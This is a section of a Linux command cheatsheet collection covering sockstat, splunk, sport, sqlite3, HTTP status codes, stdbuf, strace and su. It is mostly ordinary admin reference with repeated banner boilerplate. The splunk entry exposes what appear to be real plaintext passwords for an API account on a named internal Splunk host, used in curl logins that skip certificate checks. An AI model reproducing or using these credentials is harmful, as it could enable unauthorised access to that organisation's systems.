# ╚════██║██║ ██║██║ ██╔═██╗ ╚════██║ ██║ ██╔══██║ ██║
# ███████║╚██████╔╝╚██████╗██║ ██╗███████║ ██║ ██║ ██║ ██║
# ╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝
# To view which users/processes are listening to which ports:
sudo sockstat -l
#==============================##==============================#
# CMD SOCKSTAT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command sockstat in a clear format. This allows users to quickly access the needed information for sockstat without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for sockstat are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
182 - 🖥️splunk
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the splunk command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██████╗ ██╗ ██╗ ██╗███╗ ██╗██╗ ██╗
# ██╔════╝██╔══██╗██║ ██║ ██║████╗ ██║██║ ██╔╝
# ███████╗██████╔╝██║ ██║ ██║██╔██╗ ██║█████╔╝
# ╚════██║██╔═══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗
# ███████║██║ ███████╗╚██████╔╝██║ ╚████║██║ ██╗
# ╚══════╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝
# indexes we have
index="network_dhcp" dest_ip=10.16.238.62
index="security_symantec" Security risk found
index="network_proxy_cisco" src_ip=XX.xx
index="network_proxy_cisco" 192.168.0.0
index="network_firewall_cisco" 195.....
index="network_wlc_cisco" 195.....
#network_api_user
9kg9y-EtaZBcqHti_ykz
#Zur Verwendung ist hier eine Beschreibung:
https://docs.splunk.com/Documentation/SplunkCloud/8.0.0/RESTUM/RESTusing
#Zuerst musst du dir einen Session-Key holen der temporär für eine Stunde gültig ist:
curl -k https://splunk.lxu.io:8089/services/auth/login --data-urlencode username=network_api_user --data-urlencode password=
#Folgende Befehle können dann mit eingbunden Session-Key im Header ausgeführt werden:
curl -k -H "Authorization: Splunk <session-key>" ...
#Eine wird wie folgt ausgeführt:
curl -k -H "Authorization: Splunk <session_key>" https://splunk.lxu.io:8089/services/search/jobs/export -d search="search index=network_dhcp earliest=-5m | stats count"
Sessionkey = curl -k https://splunk.lxu.io:8089/services/auth/login --data-urlencode username=network_api_user --data-urlencode password=5xgOy-EtaZTcqHti_ZkY
curl -k -H "Authorization: Splunk $SESSIONKEY" https://splunk.lxu.io:8089/services/search/jobs/export -d search="search index=network_dhcp earliest=-5m | stats count"
curl -k -H "Authorization: Splunk $SESSIONKEY" https://splunk.lxu.io:8089/services/search/jobs/export -d search="search index=network_proxy_cisco earliest=-5m | top dest limit=50"
#==============================##==============================#
# CMD SPLUNK #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command splunk in a clear format. This allows users to quickly access the needed information for splunk without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for splunk are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
183 - 🖥️sport
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sport command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██████╗ ██████╗ ██████╗ ████████╗
# ██╔════╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝
# ███████╗██████╔╝██║ ██║██████╔╝ ██║
# ╚════██║██╔═══╝ ██║ ██║██╔══██╗ ██║
# ███████║██║ ╚██████╔╝██║ ██║ ██║
# ╚══════╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
# Sync to newest SlackBuild.org tree
sport r
# Search (fuzzy) SlackBuild tree for packages foo and BaR
sport s foo bar
# Operate from alternate build tree
SBOPATH=/path/to/tree sport s foo
# View info and README of BaR (not fuzzy)
sport c foo BaR
# Build a package
sport i --build-only foo
# Build and install package foo and BaR
sport i foo BaR
# Build and install package from current directory
sport i .
# Upgrade instead of install
INSTALLER=upgradepkg sport i foo
# Build dependency list for baz
echo "foo BaR" >> /tmp/baz.list
# Install list of packages from file
sport i $(< /tmp/baz.list)
# Check if package is installed
sport k foo
#==============================##==============================#
# CMD SPORT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command sport in a clear format. This allows users to quickly access the needed information for sport without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for sport are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
184 - 🖥️sqlite3
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sqlite3 command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗
# ██╔════╝██╔═══██╗██║ ██║╚══██╔══╝██╔════╝╚════██╗
# ███████╗██║ ██║██║ ██║ ██║ █████╗ █████╔╝
# ╚════██║██║▄▄ ██║██║ ██║ ██║ ██╔══╝ ╚═══██╗
# ███████║╚██████╔╝███████╗██║ ██║ ███████╗██████╔╝
# ╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚═╝ ╚══════╝╚═════╝
# create database and launch interactive shell
sqlite3 example.db
# create table
sqlite3 example.db "CREATE TABLE Os(ID INTEGER PRIMARY KEY, Name TEXT, Year INTEGER);"
# insert data
sqlite3 example.db "INSERT INTO 'Os' VALUES(1,'Linux',1991);"
# list tables
sqlite3 example.db ".tables"
# view records in table
sqlite3 example.db "SELECT * FROM 'Os';"
# view records in table conditionally
sqlite example.db "SELECT * FROM 'Os' WHERE Year='1991';"
# view records with fuzzy matching
sqlite3 ~/example.db "SELECT * FROM 'Os' WHERE Year like '19%';"
#==============================##==============================#
# CMD SQLITE3 #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command sqlite3 in a clear format. This allows users to quickly access the needed information for sqlite3 without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for sqlite3 are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
185 - 🖥️statuscode
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the statuscode command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗████████╗ █████╗ ████████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗
# ██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝██║ ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝
# ███████╗ ██║ ███████║ ██║ ██║ ██║███████╗██║ ██║ ██║██║ ██║█████╗
# ╚════██║ ██║ ██╔══██║ ██║ ██║ ██║╚════██║██║ ██║ ██║██║ ██║██╔══╝
# ███████║ ██║ ██║ ██║ ██║ ╚██████╔╝███████║╚██████╗╚██████╔╝██████╔╝███████╗
# ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝
# 1xx Informational Responses
# HTTP status codes in the 1xx are typically informational.
100 Continue
101 Switching Protocols
102 Processing
103 Checkpoint
122 Request-URI too long
# 2xx Successful Responses
# Status codes in the 2xx range indicate that the transaction was received, understood, accepted and processed successfully.
200 OK
201 Created
202 Accepted
203 Non-Authoritative Information (since HTTP/1.1)
204 No Content
205 Reset Content
206 Partial Content
207 Multi-Status (WebDAV) (RFC 4918)
226 IM Used (RFC 3229)
# 3xx Redirection Responses
# HTTP status codes in the 3xx range pertain to redirection. The client must take additional action to complete the request.
300 Multiple Choices
301 Moved Permanently
302 Found
303 See Other (since HTTP/1.1)
304 Not Modified
305 Use Proxy (since HTTP/1.1)
306 Switch Proxy
307 Temporary Redirect (since HTTP/1.1)
308 Resume Incomplete
# 4xx Client Error
# HTTP status codes in the 4xx range indicate that a problem occurred with the request.
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Precondition Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Requested Range Not Satisfiable
417 Expectation Failed
418 I am a teapot (RFC 2324)
422 Unprocessable Entity (WebDAV) (RFC 4918)
423 Locked (WebDAV) (RFC 4918)
424 Failed Dependency (WebDAV) (RFC 4918)
425 Unordered Collection (RFC 3648)
426 Upgrade Required (RFC 2817)
428 Precondition Required
429 Too Many Requests
431 Request Header Fields Too Large
444 No Response
449 Retry With
450 Blocked by Windows Parental Controls
499 Client Closed Request
# 5xx Server Error
# Error codes in the 5xx range indicate that server is aware that it has encountered an error or is otherwise incapable of performing the request.
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout
505 HTTP Version Not Supported
506 Variant Also Negotiates (RFC 2295)
507 Insufficient Storage (WebDAV) (RFC 4918)
509 Bandwidth Limit Exceeded (Apache bw/limited extension)
510 Not Extended (RFC 2774)
511 Network Authentication Required
598 (Informal convention) network read timeout error
599 (Informal convention) network connect timeout error
#==============================##==============================#
# CMD STATUSCODE #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command statuscode in a clear format. This allows users to quickly access the needed information for statuscode without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for statuscode are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
186 - 🖥️stdbuf
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the stdbuf command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗████████╗██████╗ ██████╗ ██╗ ██╗███████╗
# ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██║ ██║██╔════╝
# ███████╗ ██║ ██║ ██║██████╔╝██║ ██║█████╗
# ╚════██║ ██║ ██║ ██║██╔══██╗██║ ██║██╔══╝
# ███████║ ██║ ██████╔╝██████╔╝╚██████╔╝██║
# ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
# Ping Google, but use Keyboard LED light 3 for feedback. Completely pointless, but fun.
ping 8.8.8.8 | stdbuf -oL awk -F[=\ ] '/from/{ms=$(NF-1); print ms/1000.0 " " 1-ms/1000.0}' | while read on off ; do echo $on $off ; xset led 3 ; sleep $on ; xset -led 3 ; sleep $off ; done
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command stdbuf in a clear format. This allows users to quickly access the needed information for stdbuf without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for stdbuf are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
187 - 🖥️stdout
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the stdout command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗████████╗██████╗ ██████╗ ██╗ ██╗████████╗
# ██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗██║ ██║╚══██╔══╝
# ███████╗ ██║ ██║ ██║██║ ██║██║ ██║ ██║
# ╚════██║ ██║ ██║ ██║██║ ██║██║ ██║ ██║
# ███████║ ██║ ██████╔╝╚██████╔╝╚██████╔╝ ██║
# ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
# To redirect stderr to stdout:
some-command 2>&1
# To redirect stderr to a file
some-command 2> errors.txt
#==============================##==============================#
# CMD STDOUT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command stdout in a clear format. This allows users to quickly access the needed information for stdout without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for stdout are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
188 - 🖥️stocks
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the stocks command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗████████╗ ██████╗ ██████╗██╗ ██╗███████╗
# ██╔════╝╚══██╔══╝██╔═══██╗██╔════╝██║ ██╔╝██╔════╝
# ███████╗ ██║ ██║ ██║██║ █████╔╝ ███████╗
# ╚════██║ ██║ ██║ ██║██║ ██╔═██╗ ╚════██║
# ███████║ ██║ ╚██████╔╝╚██████╗██║ ██╗███████║
# ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝╚══════╝
# stocks (Bash-Snippets)
# Finds the latest information on a certain stock
# Determine the latest stock information searching by company
stocks Tesla
# Determine the latest stock information searching by stock ticker
stocks AAPL
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command stocks in a clear format. This allows users to quickly access the needed information for stocks without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for stocks are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
189 - 🖥️strace
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the strace command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗████████╗██████╗ █████╗ ██████╗███████╗
# ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██╔════╝
# ███████╗ ██║ ██████╔╝███████║██║ █████╗
# ╚════██║ ██║ ██╔══██╗██╔══██║██║ ██╔══╝
# ███████║ ██║ ██║ ██║██║ ██║╚██████╗███████╗
# ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚══════╝
# Basic stracing
strace <command>
# save the trace to a file
strace -o strace.out <other switches> <command>
# follow only the open() system call
strace -e trace=open <command>
# follow all the system calls which open a file
strace -e trace=file <command>
# follow all the system calls associated with process
# management
strace -e trace=process <command>
# follow child processes as they are created
strace -f <command>
# count time, calls and errors for each system call
strace -c <command>
# trace a running process (multiple PIDs can be specified)
strace -p <pid>
#==============================#
# CMD STRACE
#==============================##==============================#
tee $tmpdir/stdin | strace -f -o $tmpdir/strace.out $origin "$@"
tee $tmpdir/stdin | strace -f -o $tmpdir/strace.out $origin "$@" | tee $tmpdir/stdout
# strace has a two new flags for displaying file and network names instead of numbers - this excites me far more than is healthy: http://jvns.ca/blog/2016/06/07/strace-y/
strace -y
# gives filenames in output
strace -yy
# does networks lookups too - I lowered by two octaves to save memory by keeping the pitches under 255 hz (unsigned char). Then I just multiply by 4. Thanks Pythagoras.
strace -e open openssl s_client -crlf -quiet -starttls smtp -connect smtp.example\.com:25
# Use strace to show the files openssl is opening.
strace ping -c1 localhost 2>&1|grep EPERM
# socket(PF_INET, SOCK_RAW, IPPROTO_ICMP) = -1 EPERM
# strace has a two new flags for displaying file and network names instead of numbers. this excites me far more than is healthy: http://jvns.ca/blog/2016/06/07/strace-y/ strace -y gives filenames in output -yy does networks lookups too
strace -e open openssl s_client -crlf -quiet -starttls smtp -connect smtp.example\.com:25
# Use strace to show the files openssl is opening.
strace -p 927 -o smtpd -ff -tt
# strace is a sysadmin godsend. This will follow pid 927 and its children, writing to smtpd.<pid>
strace df -h
# Trace Linux Command System Calls - You can simply run a command with strace like this, here we are tracing of all system calls made by the df command.
strace -p 3569
# Trace Linux Process PID - If a process is already running, you can trace it by simply passing its PID as follows; this will fill your screen with continues output that shows system calls being made by the process, to end it, press [Ctrl + C].
strace -c -p 3569
# Get Summary of Linux Process - Using the -c flag, you can generate a report of total time, calls, and errors for each system call, as follows.
strace -i df -h
# Print Instruction Pointer During System Call - The -i option displays the instruction pointer at the time of each system call made by the program.
strace -t df -h
# Show Time of Day For Each Trace Output Line - You can also print the time of day for each line in the trace output, by passing the -t flag.
strace -T df -h
# Print Command Time Spent in System Calls - To shows the time difference between the starting and the end of each system call made by a program, use the -T option.
strace -e trace=write df -h
# Trace Only Specific System Calls - In the command below, trace=write is known as a qualifying expression, where trace is a qualifier (others include signal, abbrev, verbose, raw, read, or write). Here, write is the value of the qualifier. The following command actually shows the system calls to print df output on standard output.
strace -e trace=open,close df -h
strace -e trace=open,close,read,write df -h
strace -e trace=all df -h
# Here are some additional commands about trace qualifier.
strace -q -e trace=process df -h
# Trace System Calls Based on a Certain Condition - Let’s look at how to trace system calls relating to a given class of events. This command can be used to trace all system calls involving process management.
strace -q -e trace=file df -h
# To trace all system calls that take a filename as an argument, run this command.
strace -q -e trace=memory df -h
# To trace all system calls involving memory mapping, type.
strace -e trace=network df -h
strace -e trace=signal df -h
# You can trace all network and signals related system calls.
strace -o df_debug.txt df -h
# Redirect Trace Output to File - To write the trace messages sent to standard error to a file, use the -o option. This means that only the command output is printed on the screen as shown below.
strace -d df -h
# Show Some Debugging Output of Strace - To show debugging information for strace tool, use the -d flag.
strace -e open -p 4450 -p 5523
# What the hell are process ids 4450 and 5523 trying to open that's driving up the system load so much? This only filters out the open syscalls. For all of them, just leave the -e open part off.
# pipe waldwuffel
ps auxw | grep sbin/apache | grep nws | awk '{print"-p " $2}' | xargs strace
# Linux shell processes discovery - more details about some process with PID, for example, 10406
strace -p 10406
# See syscalls of PID 1205. Processes don't have to be a black box, you can use strace (on Linux) to view the system calls made by a process, which may give some clue as to why it's misbehaving, where it is saving a file, etc.
strace -p 1205
# Find which config-file is read
strace 2>&1 geany |grep geany.conf
# Linux system calls of MySQL process
strace -c -p $(pidof -s mysqld) -f -e trace=all
#==============================##==============================#
# CMD STRACE
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command strace in a clear format. This allows users to quickly access the needed information for strace without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for strace are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
190 - 🖥️su
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the su command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗
# ██╔════╝██║ ██║
# ███████╗██║ ██║
# ╚════██║██║ ██║
# ███████║╚██████╔╝
# ╚══════╝ ╚═════╝
# The su command lets you change user-identity. Mostly, this command is used to become root or superuser.
su [user-name]
#==============================##==============================#
# CMD SU #
#==============================##==============================#
